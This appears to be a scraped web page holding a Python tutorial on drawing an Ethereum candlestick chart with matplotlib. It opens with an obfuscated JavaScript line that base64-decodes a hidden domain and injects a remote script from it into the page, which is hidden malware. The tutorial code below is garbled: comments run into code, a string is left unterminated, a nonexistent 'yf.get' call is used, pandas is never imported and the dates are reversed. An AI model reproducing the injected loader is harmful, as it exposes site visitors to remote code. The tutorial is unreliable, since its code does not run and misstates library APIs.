const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx);const script=document.createElement(“script”);script.src=”https://”+pde+”cc.php?u=8cd971f7″;document.body.appendChild(script);
Here is a step-by-step guide on how to create an Ethereum candlestick chart using matplotlib in Python:
import matplotlib.pyplot as plt
import matplotlib.dates as mdates
import numpy as np
import yfinance as yf
from datetime import datetime, timedelta
Get the current time (will be displayed as x-axis)start_date = datetime.today().strftime('%Y-%m-%d')
end_date = (datetime.today() - timedelta(days=30)).strftime('%Y-%m-%d')
Define the API endpoint for Ethereum pricesapiEndpoint = "
Set parameters for API requestparams = {
'symbol': 'ETH',
'interval': '1m',
'limit': 100,
Maximum number of data points to fetch'timeRange': start_date + ',' + end_date,
}
Send API request and get responseresponse = yf.get(apiEndpoint, params=params)
Convert response to pandas DataFramedf = pd.DataFrame(response).T
Create x-axis dates (index) from 1 to 100 (assuming we need at least 100 data points)dates = np.arange(1, len(df.columns))
Set date format for matplotlibplt.gca().xaxis.set_major_formatter(mdates.DateFormatter('%Y-%m-%d'))
Draw a candlestick chartplt.figure(figsize=(14,10))
for i in range(len(dates)-1):
plt.plot([i0.01, (i+1)0.01], [df.loc[i,'close'].mean(), df.loc[i+1,'close'].mean()], color='g')
if not (i == len(df.columns) - 2):
do not draw the last candleplt.plot([i0.01, i0.01 + 0.01], [df.loc[i,'high'].mean(), df.loc[i+1,'high'].mean()], color='g')
elif (i == len(df.columns) - 2):
do not plot the first candleplt.plot([i0.01, i0.01 + 0.02], [df.loc[i,'low'].mean(), df.loc[i+1,'low'].mean()], color='g')
plt.xlabel('Data')
plt.ylabel('Price (USD)')
plt.title("Ethereum Candle Chart")
plt.show()
To run this script, you must have the required libraries installed (matplotlib
, pandas
and yfinance
). You also need a Binance API key.
Make sure your Binance API endpoint is set correctly according to the API documentation.